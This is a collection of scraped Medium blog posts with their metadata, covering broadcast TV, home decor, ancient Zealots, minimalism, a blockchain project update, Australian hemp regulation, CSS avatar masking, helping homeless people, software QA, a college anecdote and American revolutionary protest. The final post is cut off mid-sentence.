['Prasaga', 'Hyperledger Fabric', 'Xbom', 'Object Oriented', 'Chaincode']

Evoca promises cord-cutters an alternative to dependence on the internet

Evoca promises cord-cutters an alternative to dependence on the internet Andrea Jan 27·3 min read For most of us, cord-cutting means dropping cable or satellite TV service and streaming TV over the internet, instead. That can be problematic if you live in an area where you can’t get high-speed broadband. Boise, Idaho-based Evoca is working on an alternative solution based on the ATSC 3.0 broadcast standard, aka Next Gen TV. As we reported in 2020, ATSC 3.0 make it possible to broadcast TV content in 4K Ultra HD resolution, complete with HDR, wide color gamut, and high framerate support. The new standard can also carry more channels and video on demand (VoD) because it uses a new compression algorithm, and it has an Internet Protocol (IP) backbone that merges broadcast TV with content from the internet. But the best part of ATSC 3.0 is that little infrastructure is needed. Evoca installs a broadcast tower in a community, and its customers install a small antenna and plug a set-top box—dubbed Scout—into their TVs. As long as you’re within the transmitter’s range, there are no other wires to run or vast networks for Evoca to maintain. You will need a broadband connection, but only to deliver low-bandwidth portions of the service such as the channel guide, according to the Evoca’s FAQ. Even a 5Mbps connection is sufficient. Evoca is using Boise as a testbedThe city of Boise, where Evoca is headquartered, is relatively well connected, but you don’t need to travel far outside the city limits to find areas that are not. The overhead necessary to run cables to these much smaller (and often poorer) communities is high, and not enough to justify offering service. Many rural markets rely heavily on satellite TV, since its often the only option. Evoca sees itself as a way to break that monopoly. “These small and midsize markets (like Boise) are where the need is greatest,” says Evoca CEO Todd Achilles. Evoca launched last year and currently offers about 50 channels of broadcast content and roughly two dozen streaming services. The Scout set-top box can also pull in local over-the-air broadcast channels. While what’s available is primarily rebroadcasts of currently existing online channels, there are a few major networks, including The Weather Channel, The NFL Network, Hallmark, and Bloomberg. At least one channel, the entertainment network Insight TV, broadcasts regularly in 4K, with other 4K events available, Achilles told TechHive. More content (and competition) on the wayATSC 3.0 broadcasts are available in 23 markets across the US, with broadcasters in another 40 or so markets considering new ATSC 3.0 services (a map on this page shows where ATSC 3.0 is available and where it’s coming next). Evoca plans to pen agreements with more networks to build its service out, with several already signed and debuting in the next few months. The company’s roadmap has it launching service in as many as three Mountain West communities in 2021, focusing on underserved markets and offering its service at prices far below cable and satellite TV competitors. Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details.

https://medium.com/@andrea99412748/evoca-promises-cord-cutters-an-alternative-to-dependence-on-the-internet-525e2735bee3

[]

2021-01-27 17:37:51.356000+00:00

['Cord', 'Tvs', 'Home Theater', 'Gear']

What To Avoid To Make Your Decorating Experience A Lot Easier

Angie White Having the opportunity to share my home on Instagram, and of course, being able to inspire people with home decor ideas is one of the most rewarding feelings! Today I’m going to share 5 tips I’ve learned that might help others avoid making the same mistakes I made when beginning to decorate our house. 1. Wall Colors Choosing a wall color is not an easy job! I remember the day I bought the first paint for our house. I purchased a color that looked so good in a magazine, but when I painted the walls it was a total fail! I have a lot of natural light coming into the formal living and dining room, and because of that, the walls looked darker and yellowish. I was so disappointed! It was then that I realized that just because a paint color looks good in a magazine post, doesn’t mean it’s going to look exactly the same in your home. Lesson learned! My best advice is to get some samples first to make sure you are picking the right color for your area! 2. Find The Style You Love I was so happy when we purchased our first home, but at the same time, I was lost. My excitement to decorate everything in a hurry didn’t let me see what style I really wanted. I started to mix glam, farmhouse, boho, and clearance items that I found at the stores. Soon I realized that nothing really matched and I wasn’t making any progress with my decor. I had to sit down and think what style I really loved and then focus in order to achieve that look. Now I can happily say that Glam is my style, but I love incorporating a few traditional and transitional pieces! So if you are a first-time buyer, take your time, focus on the style you are trying to achieve, and remember — It doesn’t matter how long it takes to decorate your home! First make sure you are comfortable with the furniture you are purchasing, and pick not only pretty but functional pieces. 3. Do Not Compare Your House To Others I was so happy when we purchased our first home, but at the same time, I was lost. My excitement to decorate everything in a hurry didn’t let me see what style I really wanted. I started to mix glam, farmhouse, boho, and clearance items that I found at the stores. Soon I realized that nothing really matched and I wasn’t making any progress with my decor. I had to sit down and think what style I really loved and then focus in order to achieve that look. Now I can happily say that Glam is my style, but I love incorporating a few traditional and transitional pieces! So if you are a first-time buyer, take your time, focus on the style you are trying to achieve, and remember — It doesn’t matter how long it takes to decorate your home! First make sure you are comfortable with the furniture you are purchasing, and pick not only pretty but functional pieces. 4. Do A Little Interior Design Research First I get a lot of DM’S of people wanting my advice or help on how to decorate their homes, wanting to know if that specific sofa looks good in their space, etc. For example- I noticed that some people want to buy a sofa that is too big for the space, or they want wall art that is too small for the walls…In this case, I think it is better if you measure the area to make sure the piece you are buying is the right size for the space. It will save you a headache! 5. Make The Space Your Own Nothing is more important than living in a house you love. Waking up in the morning and walking through your house feeling like you are living in your own piece of heaven is the best way to start your day. Make sure you add home decor pieces that say something about you and your personality! Your home should be a reflection of who you are, what you love, and what makes you happy! Thank you so much for taking your time reading some of my personal experiences decorating my home! Angie White @angiewhiteshome

https://medium.com/@info_68207/what-to-avoid-to-make-your-decorating-experience-a-lot-easier-265d7f08c0b7

['Rinomato Interiors']

2019-08-11 15:33:05.408000+00:00

['Homedesign', 'Interior Design', 'Home Decor', 'Interior Decorating', 'Home Improvement']

The First Organized Terrorist Group

The First Organized Terrorist Group Zealots rebelling against the Roman Empire (Source: Wikimedia Commons) Terrorist groups have a very distinctive look as well as persistence in today’s society. Still, most people do not know that the term “terrorist” isn’t something new that was invented in the 20th century, but something that was actually first recorded in the 1st century. From the ancient writings of Flavius Josephus (37–100), a historian from the Roman times, we can see that there is a group of people that match the characteristics of the phrase “terrorist group.” The Zealots This group was known as the Zealots, a group of Jewish extremists who wanted to rebel against the Roman Empire by terrorizing the Roman population and destroying everything they had in their name. Although the Zealots started as a political movement early in the 1st century, it quickly turned into a rebel army as it imposed its ideology onto the Jewish population around the area. In their minds, the Roman Empire had taken their Holy Land and they were ready to show their power to the world. At the time, the Roman Empire was the most feared nation in the world, not only due to its impressive rapid extension but also their feared military power. This is why the Zealots wanted to use terror in order to show the world, but especially the Roman Empire that they were facing a new type of enemy. It is imperative to remember that religion was used as politics in those times, therefore the Zealots didn’t only fight against the Roman Empire, but also against Christianity. Some of you may recognize “zealot” as a word that is not often used, but you may have heard of it. The meaning of this word based on the Cambridge Dictionary is: “A person who has very strong opinions about something, and tries to make other people have them too.” This word was actually taken from the name of this group, the Zealots, as they were the embodiment of the word’s definition. Just like modern terrorist groups, they were trying to forcefully indoctrinate people with a certain religious ideology, and if this ideology was not accepted, they would terrorize them to death. The Zealots although following a similar structure by using terrorism as their main weapon against the Roman Empire (or Christianity) had different ideologies that were mainly focused on taking down what was in their eyes an unrighteous “unstoppable power,” as it was seen at the time. Flavius Josephus (Source: Wikimedia Commons) In the writings of Josephus, he refers to the Zealots with the term Sicarii which refers to Zealot rebels that used daggers as their main weapon. These troops were also seen as the main fanatics of the Zealot movement, as they held the most hatred towards the Roman Empire. The Jewish population at the time had their independence, but due to the power of the Roman Empire they were still indirectly controlled by them, therefore they wanted “total independence.” By the early start of the 1st century, when the group was only in its early stages, it focused on small attacks on villages that were part of the Roman Empire in order to get their presence known. The Romans responded to the provocation with Publius Quinctilius Varus (46 BC-AD 9), the governor of Siria at the time, sending two Roman legions (around 12,000 Roman troops) to intercept the fanatic group. In order to discourage further displays from the Zealots, the Roman Empire crucified 2,000 Sicarii. Although the Romans hoped to discourage the Zealots with this action, they ended up encouraging them to become even worse. We can argue that in this action the Roman Empire also used a form of terrorism to stop the Zealots from more raids on Roman villages, but this only enhanced their desire for provocation. The Zealots became quite a popular group which made many teenagers join in due to their ideology. Josephus also refers that the ideology of the Zealots and the Pharisees was quite similar in the way that both groups initially wanted initially the same thing, however, the Pharisees didn’t want to combat anyone, they just wanted to focus on developing their own people. Most of the world viewed the Zealots as an organized criminal group, therefore they were seen by most nations as enemies to society. The Jewish people that didn’t follow their ideology despised them as they gave a bad reputation to the Jewish nation. Just as some modern terrorist groups give a bad reputation to the Islamic society. The leader and founder of the Zealot movement was Judas, from Galilea, who employed the ideology of an extremist religious group. For him, every Jewish person that wasn't as extremely faithful towards Judaism as his group was a threat that needed to be punished and forcefully made to be a religious extremist. Instrumentalizing religion with a fanatical perspective can only result in violence. If this is associated with a group of extremists to be pushed beyond the boundaries, giving rise to what we call organized terrorist groups. Some historians define the Zealots as a combination of Barbarians and Romans as they both entice power whilst using violence which in most historians’ perspective is justified due to the different religious views that were accounted as political views at the time. Comparing the Zealots to modern terrorism A similar trend that we can see between modern terrorist groups and the Zealots — which is noted by Josephus — is that the Sicarii units liked to kill people in the middle of crowds by chopping their heads or slicing their throats. This was used as a tactic to put fear into the Roman public. The Zealots were also responsible for the assassination of many Roman politicians as well as religious figures from the Roman Empire. Two other similar trends are torturing people as well as going in a battle towards certain death without fear. They even started killing Jewish people that we're collaborating with the Roman Empire in order to further scare the public as well as push forward their ideology. By 66 AD when they became a more powerful group, they started major attacks on Roman cities which concluded with the First Jewish-Roman War (66–70). The Zealots died out in 70 AD when the Roman Empire pushed them into the Jewish Temple and destroyed it, annihilating the Zealot group. As powerful as the Zealot group had become, they proved no match for the military power of the Roman Empire, however, despite its numerous enemies, they were the most feared and actually put up quite a good fight.

https://historyofyesterday.com/the-first-organized-terrorist-group-61a398b09cba

['Andrei Tapalaga']

2020-12-10 21:02:48.774000+00:00

['Christianity', 'History', 'Culture', 'Terrorism', 'Religion']

How To Efficiently Declutter and Adopt Minimalistic Habits That Last

What To Do Before You Start Decluttering When it comes to adopting a minimalistic mindset to declutter more efficiently, it usually takes a variety of things to get us to that point. This is what kept me on the path of less clutter. 1. Read relevant books Every time I want to make major changes in my life, my first go-to are books. This is what started my journey into minimalism and decluttering. The two books that have guided me in my journey are “The Life-Changing Magic of Tidying Up: The Japanese Art of Decluttering and Organizing” by Marie Kondo and “Goodbye, Things: The New Japanese Minimalism” by Fumio Sasaki. “The Life-Changing Magic of Tidying Up: The Japanese Art of Decluttering and Organizing” actually was as life-changing as the book title claims. I know there was a lot of hype around this book and I think it is well deserved. If you ever watched the Netflix series “Tidying Up with Marie Kondo” and felt underwhelmed by it, that is just 10% of what the book itself entails. It pushes you to take action and motivates you on a different level. “Goodbye, Things: The New Japanese Minimalism” goes further than teaching you how to tidy up your space and dives deep into why you should incorporate minimalism into all areas of your life and not just your physical things. Marie Kondo taught me how to declutter while Fumio Sasaki taught me why I should live a minimalistic life. While you don’t have to read these specific books, it’s always good to look for guidance and motivation from an outside source so you can use that information to form your own thoughts and opinions. Before reading these books, my living space was a complete mess. I kept every little thing I owned and never cleaned up my space. I was keeping things that didn’t bring any value into my life. But once I started letting things go, the amount of freedom and relief I felt was irreplaceable. Tip: You can probably find these books at a local library to save some money and to prevent the collection of additional items in your home. 2. Watch documentaries Another resource you can use — especially if you can’t get access to books — is documentaries. My favorite documentaries are “Minimalism: A Documentary About The Important Things” (Netflix) and “The True Cost” (Tubi). “Minimalism: A Documentary About The Important Things” really puts into perspective how we’ve allowed material things to own us and how they have driven us further away from what really makes us feel fulfilled. “The True Cost” emphasizes the downsides of fast fashion and the people behind it whose stories are often pushed aside and ignored. If there’s one category of things that we all spend a lot of money on, it’s probably clothing because it’s something we all need. Sometimes, when we have another reason other than benefit to ourselves to commit to something, it pushes us to keep that promise. This is the perfect example of why we should do it for reasons beyond saving money and having a tidy living space. 3. Focus on the why Do you want a clean tidy house? Do you want to free yourself from the stress you feel when you look at all the things you own? Define your why and focus on that every time you question if this process is worth following through. That feeling you get every time you clean up your space doesn’t have to be temporary. You can feel that feeling every day once you stop bringing new things into your life. If you focus on the why, then you can set yourself up for success. 4. Have the willingness to change You have to be ready to let go of your things and any emotional attachment to them. It can be hard at first. I know it was for me, but because I was willing to change for the betterment of my life, it wasn’t as hard as I thought it would be. The more meaningful an item was, the longer I waited to get rid of it. Clothes were the first to go while sentimental items were the last. While it took me a couple of months to really embrace living a minimalistic life, it was an overall easy transition once I realized all that I was gaining. 5. Let go of your perceptions of what it means to be a minimalist We all have this picture in our heads about what minimalism means. Those who may not understand the true meaning of being a minimalist might imagine someone who sleeps on the floor with no furniture and white walls and owns less than 100 items. I let this perception get to me at first. After my purge of all my unnecessary things, I took a trip to IKEA and bought new light-colored furniture that I thought looked minimalist because my current dark wooden furniture was not igniting joy in me. So no that obviously wasn’t the “minimalist” thing to do. You don’t have to get rid of everything that you have to fit the image of a minimalist. Embracing minimalism can look however you want it to. I will admit that the change in furniture from dark to light really opened up my bedroom space and made it feel brighter. So, as far as regrets about getting new furniture to change the vibe of my room, I have none. We all have our own way of doing things and it’s okay to make mistakes. Just take note of why you want to buy something before you actually buy it. You shouldn’t have to buy additional things to fit the image of being a minimalist. It would actually defeat the purpose — something I realized a couple of months too late. But like I said, don’t retract on your progress because you made a mistake. It’s perfectly normal and mistakes are meant to be learned from.

https://betterhumans.pub/how-to-efficiently-declutter-and-adopt-minimalistic-habits-that-last-e25bb9793334

['Antonelle Cara']

2021-05-05 20:59:48.537000+00:00

['Sustainability', 'Decluttering', 'Minimalism', 'Consumerism', 'Habits']

Recent Activities Update from NPER #40

Recent Activities Update from NPER #40 🚀주간 이슈 업데이트 2018.12.08~12.14🚀 NPER team has decided to communicate more actively and share NPER’s vision with supporters and followers. This is what we’ve been up to during last week! (Some details may be repeated. We ask sincerely for your understanding.) [NPER Development] - What we’ve completed Core - Refactor function and Add test case - WASM-based Smart Contract Performance Test - Refactor function and Add test case - WASM-based Smart Contract Performance Test Art in Block - Service technical enhancement - Content registration certificate issuing service demonstration on blockchain - What’s in progress Core - Support for openssl 1.1 - Add feature to restore wallet in the wallet - Add new dns seed nodes - Support for openssl 1.1 - Add feature to restore wallet in the wallet - Add new dns seed nodes Art in Block - Service technical enhancement (Contest Page) - Mobile Application UX/UI for Android - Ideation on the use of CP - Blockchain-based content registration certificate issuing system - Planning and application of CBN (Content Blockchain Number) We are establishing a content registration certificate issuing system on blockchain network linked to the art-in-block, and will launch a beta service. [NPER Biz] -’Artist’ in Block Media Coverage ‘Artist in Block’ Beta Test is scheduled for media coverage and to collect data of actual user response. NPER will be interviewed by major media company along with Potluck, Creative Workers and KOCCA. We will be continuously promoting NPER through various global media channels. - ‘Art’ in Block design X Music Collaboration Art in Block will be collaborating with NPER’s music content partner to hold a design-an-album-cover contest for an artist. - Application for patents based on blockchain technology With our outstanding technology, NPER continues to R&D patents that are likely to be commercialized in the blockchian field. Based on the result of R&D, multiple patents, which will be the future driving force for NPER to build IP Network using blockchain, are being applied. NPER will build a patent portfolio that is highly likely to be commercialized. Details regarding the patents will be announced later. [NPER Community] - NPER subreddit on reddit NPER subreddit on reddit is now open! Please subscribe and create posts! https://www.reddit.com/r/NPERproject/ - NPER Information Find info on NPER market price and volume CoinMarketCap, CoinCodex, Bitgur and Coinlib!! Go to>CMC , CoinCodex, Bitgur, Coinlib, Feixiaohao

https://medium.com/nperproject/recent-activities-update-from-nper-40-b6ee9b6017d9

[]

2018-12-14 09:41:31.188000+00:00

['Blockchain', 'Artinblock', 'Recent Activities', 'Intellectual Property', 'Nper']

The ODC Sets New Hemp Guidelines For Australia

The ODC’s new hemp cultivation guidelines have made things a lot easier for hemp cultivators in Australia. Cannabis legislation has been changing rapidly over the past few months, and the global cannabis industry has felt major gains as a result. In early November, five states in the U.S. voted to legalize some form of cannabis, followed shortly by the U.N.’s announcement that cannabis would be removed from its list of Schedule IV substances, where the plant previously sat alongside heroin. Most recently, the MORE Act (Marijuana Opportunity Reinvestment and Expungement) passed in the U.S. House of Representatives, which aims to remove marijuana from the Controlled Substances Act and create a shared federal-state control of cannabis programs, though it’s unlikely it will also pass in the Republican-controlled Senate. And, here in Australia, cannabis advocates are waiting with bated breath for CBD medicines to be made accessible over the counter, as medicinal cannabis prescriptions continue to climb month-on-month. Cannabis is being increasingly accepted by countries and governing bodies, thus allowing the benefits of legal cannabis to become more widespread. However, there are recent changes to the Australian cannabis industry that have largely gone unnoticed involving Australian hemp cultivation. These changes could have much wider impacts for the hemp industry at large in Australia, and in particular, for one publicly-listed company. 1. Hemp Crops May Be Processed For Both Flower & Fibre Prior to the ODC’s recent changes, Australian hemp cultivators had to nominate whether they were growing their crop for industrial hemp or medicinal cannabis. If a cultivator were to nominate their plant as an industrial hemp plant, this meant that they were no longer allowed to extract CBD from it. As Dr. Les Baxter from Tasmanian Alkaloids explained, this bifurcation of the hemp plant was leading to a lot of waste: “If you assume that there’s maybe two percent CBD in the residual plant, you’re talking about up to 200 tonnes of CBD [nationally] that is potentially there and currently not accessible to the pharmaceutical industry for extraction.” As such, the concept of ‘dual use’ hemp plants was raised when discussing barriers to medicinal cannabis prescription in Australia, which would allow for the use of industrial hemp as well as the extraction of CBD in the same plant. This dual-use of hemp plants has since been implemented by the ODC, meaning that Hemp crops may be processed for both flower and fibre, provided that the companies which seek to do so have all the requisite licenses. This allows hemp cultivators to save capital as well as reducing waste, should they wish to produce both industrial hemp and medicinal CBD extracts. 2. Security Is No Longer Needed for Hemp Plants As per the Office of Drug Control, “The illicit value of cannabis makes the risk of diversion a significant one requiring sound and holistic security arrangements.” Put simply, due to the intoxicating effects of marijuana and the prevalent cannabis black market in Australia, there is a heightened risk of theft for Australian cultivators. In response to this, the ODC requires that cannabis cultivators establish “sturdy, high fencing” to prevent “the risk of diversion.” However, prior to the September changes from the ODC, even hemp cultivators were subject to these same rules and regulations, despite having a non-intoxicating amount of THC within them. This meant that hemp cultivators were required to spend significant sums of capital on security measures in order to limit diversion that was unlikely to occur. For the nascent hemp industry, additional and unnecessary regulations can only serve to discourage new players from entering the space. As the founder of Ecofibre, Phil Warner said to ABC “[Australia] can produce better [cannabis] than anybody else can but if it has to be behind a 12-foot barbed wire fence with security guards, lights and swipe cards to get in and out — it’s not going to happen.” Now, as per the September update, fencing is no longer required for low-THC hemp plants, with the ODC stating: “The low THC content means that it is not attractive for ‘recreational’ use and it would therefore be far less attractive to black market diversion. Essentially, low THC medicinal cannabis is no more attractive to criminal diversion than is industrial hemp.” This will allow hemp cultivators to reduce expenditure required to begin their operations. ECS Botanics (ASX:ECS) is Poised To Reap The Rewards of These Changes ECS Botanics (ASX:ECS) is an Australia based cultivator and producer of hemp and hemp-based food products, in addition to a medicinal cannabis project. ECS has the full suite of licenses needed to cultivate, supply, and manufacture industrial hemp in Tasmania, in addition to a growers license in Queensland and the required medicinal cannabis cultivation and manufacturing licenses from the Australian Office of Drug Control (ODC) to capture this opportunity. The founder of ECS Botanics, Alex Keach, spoke on the benefits of growing hemp in Tasmania, stating that Tasmania has “a cool climate but warm long summer days which are perfect for producing hemp seed and a consistent and concentrated profile of secondary metabolites.” “Tasmania also has an abundance of water supply, the state has a moratorium on genetically modified crops, some of the cleanest air in the world, plus has a clean, green image which is recognised globally,” concluded Keach. As one of the only major publicly listed Australian hemp players, few companies are as well-positioned to reap the rewards of these recent ODC changes than ECS Botanics.

https://medium.com/@louisarthuroneill/the-odc-sets-new-hemp-guidelines-for-australia-8964fba85696

['Louis O Neill']

2020-12-11 04:15:34.885000+00:00

['Australia', 'Cannabis', 'Agriculture', 'Farming', 'Hemp']

The case for crescent-shaped avatars 🌙

Part of our work on Radiant — Thoughtspot’s design system — was to recreate our Avatar component, and more specifically its crescent shape when we need to display more than one at a time. Our first intent was to set a white border to the round shape, which might look like this: .avatar { width: 32px; height: 32px; border-radius: 50%; border: solid 1px white } As a side note, I often ask candidates to create a round-shaped element to see if they’ll use border-radius:50% , it gives me an indication on how much they know about CSS. OK, so this works but what we’re really doing is faking it on white background. It doesn’t look so great on dark or color. Clearly doesn’t look as intended. So, instead of setting a border, we need to create a mask or clip on all except the last one in order to get the desired crescent shapes. First try: using clip-path The first idea that came to mind was to use clip-path with a circle shape and translate it to the right: Yep, that’s the plan. Unfortunately, this is not how clip-path works and there’s apparently no way to tell clip-path to clip what’s inside its path, not outside. Yeah, that’s not what we want. OK so that doesn’t work, what else can we try? Second attempt: using clip-path with SVG So we can’t use a simple CSS shape but clip-path also accepts SVGs as a path. Let’s create a more elaborated shape in S̵k̵e̵t̵c̵h̵ our preferred design tool then! The white shape is our new path. Before we go on, we need to keep in mind that clip-path is not universally supported — Hello IE and Edge! — so we need to have some progressive enhancement strategy, which you can see in the following pen: Hey! That’s better! This time, it works as expected but: - you have to create an SVG (i.e. hard to impossible to do it programmatically) - you have to have it in the page because external SVGs are not really supported yet — good job Firefox! - you have to hide this SVG one way or another (i.e. probably hacky) Can we do better? Third attempt: Ask the Expert™ Edition Let’s go back to what we stated earlier: you cannot specify a clip-path to cut the inner part of an element. That’s true but you can hack it: Ana Tudor wrote this great article that uses polygons. Great… but a polygon is not a circle you might say. Except if you add a few more vertices. And a few more. A 50 vertices polygon. So in theory you can create something like a clip-path with a very complicated polygon, but that seems over-engineered, no?! Fourth attempt: let’s try with mask instead The main difference between mask and clip-path is that mask is using an image to hide parts of the parent element: the image needs to have black (for transparent) and white (for opaque) parts to create the mask. That’s great but how would that be better than creating an SVG if we have to create an external image to achieve our crescent shape? But — as Ana Tudor hinted in her tweet — you can also use CSS gradients in a mask ! When you do, the transparent parts will be what’s hidden of the parent element. And for our use case, we can use radial-gradient ! Hooray! Let’s dive in the meatier part of the code: mask: radial-gradient(circle at 41px, transparent 17px, white 0); 17px is the radius of the mask. Its calculation is half of our avatar component (32px / 2), plus 1px otherwise you won’t be able to see it with the following avatar on top of it (you can add more than 1px for a bolder effect). 41px it’s the 3/4th of our avatar element (32px * 3/4 = 24px) + the radius of the mask (17px) Don’t forget to move the avatars — all but the first one — to the left by 1/4th of the avatar width (8px) minus the border that you chose (here 1px) to achieve the final result. Now, that’s what I call a nice looking CSS-based crescent-shaped avatar! ✌️

https://medium.com/ccoutzoukis/the-case-for-crescent-shaped-avatars-2f4ccd48d053

[]

2019-05-28 01:25:21.212000+00:00

['Front End Development', 'Clipping Path', 'Mask', 'Design Systems', 'CSS']

10 More Ways To Share Your Abundance With Our Homeless Friends

10 More Ways To Share Your Abundance With Our Homeless Friends 10 additional ways you can make an impact on the lives of those without a home. Image by truthseeker08 from Pixabay Earlier this month, I did a post on 10 ways to help our homeless friends, drawing on information I was given while researching a pamphlet for a local church. The post was well-received, and once published I realized I had left out some really good ideas. So I’m back with another ten. These will give you ideas on how to address needs that might otherwise go uncared for. Hats It’s not true that the majority of the body’s heat escapes through the head, all other things being equal. However, if the rest of the body is clothed and the head is left bare, then it makes sense that is where the heat will escape. A knit cap is a necessity on cold streets in the winter. Socks Wet socks are an often overlooked danger to the homeless. They can lead to sores, blisters, rashes, athlete’s foot, trench foot, and frostbite. A fresh pair — and maybe an extra pair to stuff in their pockets or bags— are much appreciated. Travel-sized toiletries in sealable plastic bags Plastic zippable bags filled with travel sizes of the following are a great way to help with hygiene: Toothpaste Toothbrush Deodorant Lip balm Sun block Shampoo Combs Feminine hygiene products Important: Make sure that all bags contain exactly the same items when handing these out. My friends learned the hard way that if the items in each bag vary, fights can break out over the most highly desired ones. Volunteer with your entire family to feed the homeless Volunteering with your entire family is a way to introduce your children to the joy of serving others. Many shelters will offer nights where family groups can volunteer together. As I mentioned in my previous post, try to avoid Thanksgiving, Christmas, Christmas Eve, and Easter, because shelters have no shortage of volunteers on those days. A great way to pick a day is to use the random. org random number generator. Pick a number between 1 and 12 and that will be your month. Then pick another number between 1 and 31 and that will be your day. If you get one of the holidays mentioned above or a day that doesn’t exist, try again. Bananas Many homeless have significant dental problems and cannot handle foods that require a full set of teeth to bite into, such as apples. Bananas, on the other hand, are much softer and easier to eat. Gift cards to local restaurants and coffee shops The trouble with giving money to people on the street is that you don’t know what it will be used to purchase. Many homeless have significant drug and alcohol addictions and any money they gather will be put toward those habits. There are even scammers on the street who are not homeless at all, but who pretend to be to bilk strangers. A small denomination gift card to a nearby restaurant gives you some control over what can be purchased with your donation. You know it will be spent on food and drink. A $10 gift card is good at most fast food restaurants for a sandwich, side and drink combo, or a couple of burgers. Important: Make sure the restaurant has a location within walking distance of the spot where you hand them the card. It won’t do the recipient much good if they nearest location is six miles away. Gift cards to local drugstores As is the case with fast food restaurants, a drugstore gift card gives you a measure of control over how the recipient spends your donation. It also gives them a measure of control. If an ice-cold soft drink from the cooler sounds best, they can get that. If they are in need of a hygiene product, they can purchase that with the card. It gives them spending power. One note: In some states, drugstores sell beer and wine. Ask the cashier if alcohol purchases can be made with a gift card. If so, I recommend avoiding this suggestion unless you know the recipient personally and believe they will spend it wisely. Bus passes A daily, weekly, or monthly bus pass gives your homeless friend the gift of mobility. It lets them get to another part of town where there might be a job opportunity, a shelter, or a relative with whom they can stay. Pre-paid passes usually offer an unlimited number of rides for the duration of the pass, typically either one day, 7 days, or 30 days. Note that some bus systems have suspended issuing passes longer than one day during the COVID-19 pandemic. Amazon Smile Amazon Smile is a program you can voluntarily join that allows you to pick a charity. Thereafter, when you shop, a small portion of each purchase price is donated to the chosen charity. Find out if your local homeless shelter or service center is a registered charity on Smile. Note that when you shop, you will need to be sure to go to smile.amazon.com rather than www.amazon.com. This can be easy to forget! Ask, “What do you need?” One of the best ways to address needs is to simply engage your homeless friends in conversation and find out what would be of most benefit to them. Not only does this address their need, but it can be the beginning of building a one-on-one friendship. Many times, those friendships are what they value most of all. Check out my previous story… Thanks for reading. Want to make sure you don’t miss any of my stories and articles? Sign up for my mailing list for weekly updates.

https://paulryburn.medium.com/10-more-ways-to-share-your-abundance-with-our-homeless-friends-2092c4a98263

['Paul Ryburn']

2020-09-17 21:10:48.011000+00:00

['Homeless', 'Volunteering', 'Charity', 'Homelessness', 'Cities']

Quality Assurance and Testing — What’s Important for your Software Development Project?

At Strides Empower, our primary focus is about developing a product to suit your requirements: Quality Assurance is an important aspect in ‘Making sure your product is bug-free, matches all the functional requirements and is displayed properly on all devices’ — Strides Empower. What is Quality Assurance and Why is it essential for your Project? The main thing that really matters with any software development project is the quality of the final product itself! -Does it do what you expected it to do? -Is it usable by your customers and does it do what they would expect it to do? -Does it work across all platforms and devices? Our experienced Quality Assurance Team are there to find any glitches and problems before your customers do. At each stage of the development process a key focus on Quality Assurance is needed to assure your product meets the required standards. It refers to both the external and internal features of the software. Quality Assurance analyses software reliability to determine the defects — by a defect, we mean ‘anything that does not match the requirements set out by our clients’ explains Galyna, from the Quality Assurance Team at Strides Empower.

https://medium.com/@info-61757/quality-assurance-and-testing-whats-important-for-your-software-development-project-488260154dc5

['Strides Empower Ltd']

2020-09-03 08:45:02.366000+00:00

['Testing', 'Quality', 'Software Development', 'Quality Assurance']

College Memory

When I was in the final year of b.tech I faced one unforgettable situation now let me share with you. We had mid exams at that time, after the completion of my mid-exam. My friend got a phone call that 3 laptops and 1 phone is missing in your beside room, we don’t know what’s happening in our hostel. Few months before this my friend Vinay’s laptop is stolen by someone in the hostel. We made one decision and we went to the Administrative office and given complaint and requested to fix the camera’s in the hostel, so many laptop and phones are missing… what we have to do… if we went to write the exam again this time our phones and laptops also going to miss, what we do sir.. please try to understand. After this next day again we went to write our next exam. When we came to the hostel all are discussing that again one laptop is missing. All the hostel mates decided that this is the time we need to do something otherwise this will continue like this only. Management would not take care of our problems. so finally all the hostel students decided. I and my roommates don’t know about this. At 7'o clock, I and my roommates went to the juniors hostel, the reason that only the final years had the mid exams so there is a possibility of second and third-year students doing all the stolen things. So we went there and we start searching in each room. Juniors warden came near to us

https://medium.com/@venkichinnauv55/college-memory-59302d122cdd

['Venkatesh Uppala']

2020-12-23 16:10:39.282000+00:00

['Memories', 'College Days']

The American Revolutionaries Would Be Marching Now

On February 22, 1770, Christopher Seider, an eleven-year old boy, was shot and killed on the streets of Boston by Ebenezer Richardson, a former informer for the Royal Customs Office. Richardson had come to the aid of a neighbor being harassed by a group of young boys for selling imported British goods. The boys chased Richardson back to his own house and from the attic windows, he shot down into the crowd, killing Seider. John Adams attended the huge funeral which Sam Adams and his Sons of Liberty planned for Seider. Despite the snow, hail, thunder, and lightning that tormented the mourners that day, close to three thousand people turned out for the funeral, in part to lament the death of a child and in part to protest oppressive British programs in policing the Massachusetts colony, and particularly its largest town, Boston. The funeral of Christopher Seider was not the first time the patriots of Boston turned out to protest British oppressions, nor would it be the last. Having studied the protest movements which led to the American Revolution, I see many parallels between what the rebels were fighting for then, and what the protesters who have taken to the streets following the murder of George Floyd are marching for today. The men and women who fanned the flames of the American Revolution — and who I write about in my book, American Rebels –would understand the motivations behind the protests going on now in their hometown of Quincy, their adopted town of Boston, and around the country and the world. Although I’m not sure what the phrase “Black Lives Matter” would have meant to them,[1] the core complaints which have driven Americans to the streets today are the same ones which drove the American rebels to the streets in the 1760s and ’70s. Brutality of occupying troops; restriction of liberties; failure to protect one’s safety in his or her own home and community; militarization of police forces; lack of accountability of the policing forces: these are all reasons why we march now, and why the American rebels made the difficult — and dangerous- decision to rise up against England and fight for independence. Already eight years before independence was declared, Josiah Quincy Jr. wrote a letter to a friend about his growing disillusionment with the British government. The letter resonates with how so many Americans feel today about our government’s failure to address present-day injustices and long-accepted oppressions. “To see the daily blunders which are committed, and the deep tragedy which is now acting on the political theatre, and not to be moved, is to be an unfeeling wretch indeed. If the contempt and indignation of every sensible and humane man in Christendom were sufficient to explode a political system, there would be some hopes of seeing ‘ Venice Preserved and the Plot Discovered.’” Josiah Quincy Junior Quincy was referring to the growing oppressions imposed on the colonists by Parliament and King George, and the final line about ‘Venice Preserved” concerns a popular 17th century play criticizing politics of tyranny. In other words, if contempt and indignation were enough to topple a system of oppression, the system would be long gone, for the American colonists were fed up — and the flames of rebellion were starting to flicker and grow. As England tightened its fists on the American colonies by subverting the courts, condemning the free press, prohibiting peaceful meetings, flooding Boston with occupying troops, offering immunity from colonial justice to British soldiers and officers, and attempting to enter and secure private properties for their own purposes, as well as executing warrantless searches and instituting jury-less trials, the flames of rebellion grew hotter, brighter, wider until they burst into armed uprising and, ultimately, rebellion. As patriot Josiah Quincy Junior wrote in 1772, “One and All ought to arise, and overturn, overturn, and continue to overturn till they leave not a 